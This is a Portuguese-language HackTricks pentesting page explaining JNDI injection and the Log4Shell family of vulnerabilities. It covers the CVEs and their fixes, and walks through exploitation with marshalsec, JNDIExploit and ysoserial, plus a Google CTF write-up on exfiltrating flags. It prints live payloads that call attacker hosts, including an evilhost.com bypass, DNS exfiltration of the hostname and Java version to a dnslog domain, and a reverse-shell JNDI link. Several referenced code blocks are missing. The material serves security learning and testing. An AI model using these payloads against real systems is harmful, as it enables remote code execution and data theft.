<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rapidamente. Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
JNDI está presente no Java desde o final dos anos 90. É um serviço de diretório que **permite que um programa Java encontre dados através de um diretório usando um serviço de nomes**. Um serviço de nomes associa valores (vinculações), para que possam ser obtidos através de sua referência no diretório.
JNDI possui uma série de **interfaces de provedor de serviço** (SPIs) que permitem o uso de uma variedade de serviços de diretório. O objetivo do JNDI é obter dados de outros sistemas com muita facilidade. Você pode até obter objetos Java remotamente, e é aqui que surge um problema.
Para recuperar Objetos Java, você poderia serializá-los e salvar a representação binária. Mas há casos em que isso não funciona (talvez porque os dados sejam muito grandes ou qualquer outra coisa).\
Para salvar Objetos Java mais facilmente, **são usadas Referências de Nomes**.\
* **Endereços de Referência**: Isso indica o endereço do Objeto (_rmi://server/ref_), então o **objeto será recuperado desse endereço**.
* **Fábrica Remota**: Neste caso, uma **classe de fábrica remota** será apontada na referência JNDI, então, seguindo o endereço JNDI, a classe remota será retirada da fábrica remota e a **classe será baixada e carregada**.
Isso é perigoso porque **atacantes podem fazer o sistema carregar objetos arbitrários e executar código arbitrário**, portanto, algumas proteções existem:
* **RMI**: `java.rmi.server.useCodeabseOnly = true` por padrão desde o **JDK 7u21**, caso contrário, permitirá carregar objetos Java personalizados remotamente. Além disso, mesmo que a proteção esteja desativada, um **Gerenciador de Segurança** é imposto para configurar o que pode ser carregado.
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` por padrão desde o **JDK****6u141, 7u131, 8u121**, e não permitirá executar objetos Java arbitrários baixados. Mas se isso for definido como `true`, permitirá e **nenhum Gerenciador de Segurança será imposto**.
* **CORBA**: Não há propriedade a ser configurada, mas o **Gerenciador de Segurança é sempre imposto**.
Além disso, o **Gerenciador de Nomes**, aquele que vai seguir os links JNDI, não tem nenhum Gerenciador de Segurança ou propriedade a ser configurada, então ele sempre tentará obter o objeto.
Como você pode ver, as **proteções em geral não são suficientes** porque não há **proteção contra o carregamento de JNDI de endereços aleatórios** e as proteções de RMI, LDAP e CORBA podem ser contornadas (dependendo da configuração) para **carregar objetos Java arbitrários** ou para **carregar objetos Java** que abusarão de componentes existentes no aplicativo como **gadgets para executar código arbitrário**.
Mesmo que você tenha definido um **`PROVIDER_URL`**, você pode indicar um diferente em uma pesquisa e ele será acessado: `ctx.lookup("<attacker-controlled-url>")` e é isso que um atacante vai abusar para carregar objetos arbitrários de um sistema controlado por ele.
Um **Interoperable Object Reference (IOR)** é uma referência CORBA ou RMI-IIOP que identifica exclusivamente um objeto em um servidor CORBA remoto. IORs podem estar em formato binário ou representação hexadecimal em string do binário.\
Entre outras informações, contém o **Type ID** (um identificador único para uma interface) e o **Codebase** (localização remota usada para obter a classe stub).\
Note que **por padrão CORBA não pode ser abusado**.\
Como indicado na seção anterior **Referência de Nomes JNDI, RMI por padrão não permitirá baixar Classes Java arbitrárias**. E, além disso, mesmo que permita, você precisará **contornar as políticas do Gerenciador de Segurança** (na seção anterior aprendemos que isso era possível com CORBA).
Uma **pesquisa** usará uma URL como `ldap://localhost:389/o=JNDITutorial` para encontrar o objeto JNDITutorial de um servidor LDAP e **recuperar seus atributos**.\
Se a pesquisa LDAP foi invocada com **SearchControls.setReturningObjFlag() com `true`, então o objeto retornado será reconstruído**.
Portanto, existem várias maneiras de atacar essas opções.\
Um **atacante pode envenenar registros LDAP introduzindo payloads** neles que serão executados nos sistemas que os coletam (muito útil para **comprometer dezenas de máquinas** se você tiver acesso ao servidor LDAP). Outra maneira de explorar isso seria realizar um **ataque MitM em uma pesquisa LDAP**, por exemplo.
Caso você consiga **fazer um aplicativo resolver uma URL JNDI LDAP**, você pode controlar o LDAP que será pesquisado, e você poderia enviar de volta o exploit (log4shell).
Caso `trustURLCodebase` seja `true`, um atacante pode fornecer suas próprias classes no codebase, se não, ele precisará abusar de gadgets no classpath.
A vulnerabilidade é introduzida no Log4j porque ele suporta uma [**sintaxe especial**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) na forma `${prefix:name}` onde `prefix` é um dos vários [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) diferentes onde `name` deve ser avaliado. Por exemplo, `${java:version}` é a versão atual em execução do Java.
Em [**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) foi adicionado um `jndi` Lookup da seguinte forma: “O JndiLookup permite que variáveis sejam recuperadas via JNDI. Por padrão, a chave será prefixada com java:comp/env/, no entanto, se a chave contiver um **":" nenhum prefixo será adicionado**.”
Com um **: presente** na chave, como em `${jndi:ldap://example.com/a}` não há **prefixo** e o **servidor LDAP é consultado pelo objeto**. E esses Lookups podem ser usados tanto na configuração do Log4j quanto quando linhas são registradas.
Portanto, a única coisa necessária para obter RCE é uma **versão vulnerável do Log4j processando informações controladas pelo usuário**. E porque esta é uma biblioteca amplamente utilizada por aplicativos Java para registrar informações (incluindo aplicativos voltados para a Internet), era muito comum ter log4j registrando, por exemplo, cabeçalhos HTTP recebidos como o User-Agent. No entanto, log4j **não é usado apenas para registrar informações HTTP, mas qualquer entrada** e dados que o desenvolvedor indicou.
* [**CVE-2021-44228**](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Crítico]**: A vulnerabilidade original 'Log4Shell' é uma falha de [deserialização não confiável](https://cwe.mitre.org/data/definitions/502.html). Classificada como crítica em gravidade, esta pontua 10 na escala [CVSS](https://www.first.org/cvss/) e **concede habilidades de execução de código remoto (RCE) a atacantes não autenticados**, permitindo a tomada completa do sistema.\
Reportado por Chen Zhaojun da Alibaba Cloud Security Team para a Apache em 24 de novembro, CVE-2021-44228 impacta as configurações padrão de vários frameworks Apache, incluindo Apache Struts2, Apache Solr, Apache Druid, Apache Flink e outros.\
Sendo a mais perigosa de todas, essa vulnerabilidade se esconde no componente [log4j-core](https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core), limitado às versões 2.x: de 2.0-beta9 até e incluindo 2.14.1. Uma correção para Log4Shell foi lançada na versão 2.15.0, mas considerada incompleta (continue lendo).\
O analista de inteligência de ameaças Florian Roth compartilhou regras Sigma \[[1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)] que podem ser empregadas como uma das defesas.\\
* [**CVE-2021-45046**](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) \[**Crítico**, anteriormente Baixo]: Esta é uma falha de Negação de Serviço (DoS) pontuando ~~3.7~~ 9.0. A falha surgiu como resultado de um **correção incompleta que entrou na 2.15.0** para CVE-2021-44228. Embora a correção aplicada à 2.15.0 tenha resolvido em grande parte a falha, esse não foi bem o caso para certas **configurações não padrão**.\
Log4j 2.15.0 faz uma "tentativa de melhor esforço" para **restringir pesquisas LDAP JNDI a \_localhost**\_ por padrão. Mas, **atacantes** que têm **controle** sobre os dados de entrada do **Mapa de Contexto de Thread (MDC)** podem criar payloads maliciosos via padrões de Lookup JNDI para causar ataques DoS. Isso se aplica a configurações não padrão nas quais um Layout de Padrão não padrão usando um Context Lookup, por exemplo, \$${ctx:loginId}, ou um padrão de Mapa de Contexto de Thread (%X, %mdc, ou %MDC).\
O **bypass tirado deste** [**tweet**](https://twitter.com/marcioalm/status/1471740771581652995) foi:\
_Aqui está um PoC de como contornar as verificações allowedLdapHost e allowedClasses no Log4J 2.15.0. para alcançar RCE: **`${jndi:ldap://127.0.0.1#evilhost.com:1389/a}`** e para contornar allowedClasses basta escolher um nome para uma classe no JDK. A deserialização ocorrerá como de costume._\
\_\_"Log4j 2.16.0 corrige este problema removendo o suporte para padrões de pesquisa de mensagens e desativando a funcionalidade JNDI por padrão", afirma o aviso do NVD. Para aqueles na filial 2.12.1, uma correção foi retroportada para 2.12.2.\\
* [**CVE-2021-4104**](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Alto]**: Dissemos que as versões Log4j 2.x eram vulneráveis? E quanto ao **Log4j 1.x**?\
Embora anteriormente considerado seguro, Log4Shell encontrou uma maneira de se esconder no Log4j mais antigo também. Essencialmente, **configuração não padrão de instâncias Log4j 1.x usando a classe \_JMSAppender**\_\*\* também se tornam suscetíveis à falha de deserialização não confiável\*\*.\
Embora uma variante menos grave de CVE-2021-44228, no entanto, este CVE impacta todas as versões dos componentes [log4j:log4j](https://search.maven.org/artifact/log4j/log4j) e [org.apache.log4j:log4j](https://mvnrepository.com/artifact/org.apache.log4j/log4j) para os quais existem apenas lançamentos 1.x. Como estas são versões [fim de vida](https://logging.apache.org/log4j/1.2/), **uma correção para a filial 1.x não existe em lugar algum**, e deve-se atualizar para _log4j-core_ 2.17.0. (Aparentemente 1.0 não é vulnerável).\\
* [**CVE-2021-42550**](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderado]:** Esta é uma vulnerabilidade no **framework de logging Logback**. Sucessor da biblioteca Log4j 1.x, Logback afirma continuar "onde o log4j 1.x parou."\
Até a semana passada, Logback também [se gabava](https://archive.md/QkzIy) de que, por ser "não relacionado ao log4j 2.x, \[logback] não compartilha suas vulnerabilidades."\
ou como `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** e se um **pedido DNS for recebido com o valor da variável de ambiente**, você sabe que a aplicação está vulnerável.
Hosts rodando em **versões do JDK superiores a 6u141, 7u131, 8u121 estarão protegidos contra o vetor de carregamento de classe LDAP****MAS NÃO contra o vetor de deserialização**. Isso ocorre porque `com.sun.jndi.ldap.object.trustURLCodebase` é desativado por padrão, portanto, o JNDI não pode carregar codebase remoto usando LDAP. Mas é importante enfatizar que deserialização e vazamento de variáveis ainda são possíveis.\
Isso significa que para **explorar as versões mencionadas** você precisará **abusar de algum gadget confiável** que exista na aplicação java (usando ysoserial ou JNDIExploit, por exemplo). Mas para explorar versões inferiores, você pode fazê-las carregar e executar classes arbitrárias (o que torna o ataque mais fácil).
Para **mais informações** (_como limitações nos vetores RMI e CORBA_) **consulte a seção anterior de Referência de Nomenclatura JNDI** ou [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
Para este exploit, a ferramenta [**marshalsec**](https://github.com/mbechler/marshalsec) (baixe uma [**versão jar daqui**](https://github.com/RandomRobbieBF/marshalsec-jar)) será usada para criar um servidor de referência LDAP para direcionar conexões ao nosso servidor HTTP secundário onde o exploit será servido:
Queremos que a vítima carregue o código que nos enviará um shell reverso, então você pode criar um arquivo java chamado Exploit.java com o seguinte conteúdo:
Crie o **arquivo de classe** executando: `javac Exploit.java -source 8 -target 8` e depois execute um **servidor HTTP** no mesmo diretório onde o arquivo de classe foi criado: `python3 -m http.server`.\
_Por favor, note que se o Java não estiver configurado para carregar base de código remoto usando LDAP, este exploit personalizado não funcionará. Nesse caso, você precisa abusar de uma classe confiável para executar código arbitrário._
Observe que, por algum motivo, o autor removeu este projeto do github após a descoberta do log4shell. Você pode encontrar uma versão em cache em [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2), mas se você quiser respeitar a decisão do autor, use um método diferente para explorar essa vulnerabilidade.
Além disso, você não pode encontrar o código-fonte na máquina wayback, então ou analise o código-fonte, ou execute o arquivo jar sabendo que você não sabe o que está executando.
Para este exemplo, você pode simplesmente executar este **servidor web vulnerável ao log4shell** na porta 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_no README você encontrará como executá-lo_). Este aplicativo vulnerável está registrando com uma versão vulnerável do log4shell o conteúdo do cabeçalho da solicitação HTTP _X-Api-Version_.
Após ler o código por alguns minutos, em _com.feihong.ldap.LdapServer_ e _com.feihong.ldap.HTTPServer_, você pode ver como os **servidores LDAP e HTTP são criados**. O servidor LDAP entenderá qual payload precisa ser fornecido e redirecionará a vítima para o servidor HTTP, que fornecerá o exploit.
Em _com.feihong.ldap.gadgets_, você pode encontrar **alguns gadgets específicos** que podem ser usados para executar a ação desejada (potencialmente executar código arbitrário). E em _com.feihong.ldap.template_, você pode ver as diferentes classes de template que irão **gerar os exploits**.
**Lembre-se de verificar `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` para outras opções de exploração. Além disso, caso precise, você pode alterar a porta dos servidores LDAP e HTTP.**
De maneira semelhante ao exploit anterior, você pode tentar usar [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) para explorar essa vulnerabilidade.\
_Este ataque usando um objeto java personalizado gerado funcionará em laboratórios como a **sala solar THM**. No entanto, isso geralmente não funcionará (já que por padrão o Java não está configurado para carregar base de código remoto usando LDAP) Eu acho que é porque não está abusando de uma classe confiável para executar código arbitrário._
Esta opção é realmente útil para atacar **versões Java configuradas para confiar apenas em classes especificadas e não em todas**. Portanto, **ysoserial** será usado para gerar **serializações de classes confiáveis** que podem ser usadas como gadgets para **executar código arbitrário** (_a classe confiável abusada pelo ysoserial deve ser usada pelo programa java da vítima para que o exploit funcione_).
Usando **ysoserial** ou [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) você pode criar o exploit de desserialização que será baixado pelo JNDI:
Utilize o [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) para gerar **links JNDI** onde o exploit estará aguardando por conexões das máquinas vulneráveis. Você pode servir **diferentes exploits que podem ser gerados automaticamente** pelo JNDI-Exploit-Kit ou até mesmo seus **próprios payloads de deserialização** (gerados por você ou ysoserial).
Agora você pode facilmente usar um link JNDI gerado para explorar a vulnerabilidade e obter um **reverse shell** apenas enviando para uma versão vulnerável do log4j: **`${ldap://10.10.14.10:1389/generated}`**
Neste [**writeup de CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) é bem explicado como é potencialmente **possível****abusar** de algumas funcionalidades do **Log4J**.
> A partir da versão 2.16.0 (para Java 8), o **recurso de lookups de mensagens foi completamente removido**. **Lookups na configuração ainda funcionam**. Além disso, o Log4j agora desativa o acesso ao JNDI por padrão. Lookups de JNDI na configuração agora precisam ser habilitados explicitamente.
> A partir da versão 2.17.0, (e 2.12.3 e 2.3.1 para Java 7 e Java 6), **apenas strings de lookup na configuração são expandidas recursivamente**; em qualquer outro uso, apenas o lookup de nível superior é resolvido, e quaisquer lookups aninhados não são resolvidos.
Isso significa que por padrão você pode **esquecer de usar qualquer exploit `jndi`**. Além disso, para realizar **lookups recursivos** você precisa tê-los configurado.
Neste CTF, o atacante controlava o valor de `${sys:cmd}` e precisava exfiltrar a flag de uma variável de ambiente.\
Como visto nesta página em [**cargas úteis anteriores**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), existem diferentes maneiras de acessar variáveis de ambiente, como: **`${env:FLAG}`**. Neste CTF isso foi inútil, mas pode não ser em outros cenários da vida real.
No CTF, você **não podia acessar o stderr** da aplicação java usando log4J, mas as **exceções do Log4J são enviadas para stdout**, que era impresso no aplicativo python. Isso significava que, ao provocar uma exceção, poderíamos acessar o conteúdo. Uma exceção para exfiltrar a flag era: **`${java:${env:FLAG}}`.** Isso funciona porque **`${java:CTF{blahblah}}`** não existe e uma exceção com o valor da flag será mostrada:
Só para mencionar, você também poderia injetar novos [**padrões de conversão**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) e provocar exceções que seriam registradas no `stdout`. Por exemplo:
Isso não foi considerado útil para exfiltrar dados dentro da mensagem de erro, porque a consulta não era resolvida antes do padrão de conversão, mas poderia ser útil para outras coisas, como detecção.
No entanto, é possível usar alguns **padrões de conversão que suportam regexes** para exfiltrar informações de uma consulta usando regexes e abusando de comportamentos de **busca binária** ou **baseados em tempo**.
O padrão de conversão **`%replace`** pode ser usado para **substituir****conteúdo** de uma **string** até mesmo usando **regexes**. Funciona assim: `replace{pattern}{regex}{substitution}`\
Abusando desse comportamento, você poderia fazer com que o replace **acionasse uma exceção se o regex correspondesse** a algo dentro da string (e nenhuma exceção se não fosse encontrado) assim:
Como mencionado na seção anterior, **`%replace`** suporta **regexes**. Assim, é possível usar um payload da [**página ReDoS**](../regular-expression-denial-of-service-redos.md) para causar um **timeout** caso a flag seja encontrada.\
Por exemplo, um payload como `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` acionaria um **timeout** nesse CTF.
Neste [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), em vez de usar um ataque ReDoS, foi utilizado um **ataque de amplificação** para causar uma diferença de tempo na resposta:
> Se a flag começar com `flagGuess`, toda a flag é substituída por 29 `#` (usei este caractere porque provavelmente não faria parte da flag). **Cada um dos 29 `#` resultantes é então substituído por 54 `#`**. Esse processo é repetido **6 vezes**, levando a um total de `29*54*54^6* =`` `` `**`96816014208` `#`-s!**
> Substituir tantos `#` acionará o timeout de 10 segundos da aplicação Flask, o que, por sua vez, resultará no código de status HTTP 500 sendo enviado ao usuário. (Se a flag não começar com `flagGuess`, receberemos um código de status diferente de 500)
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
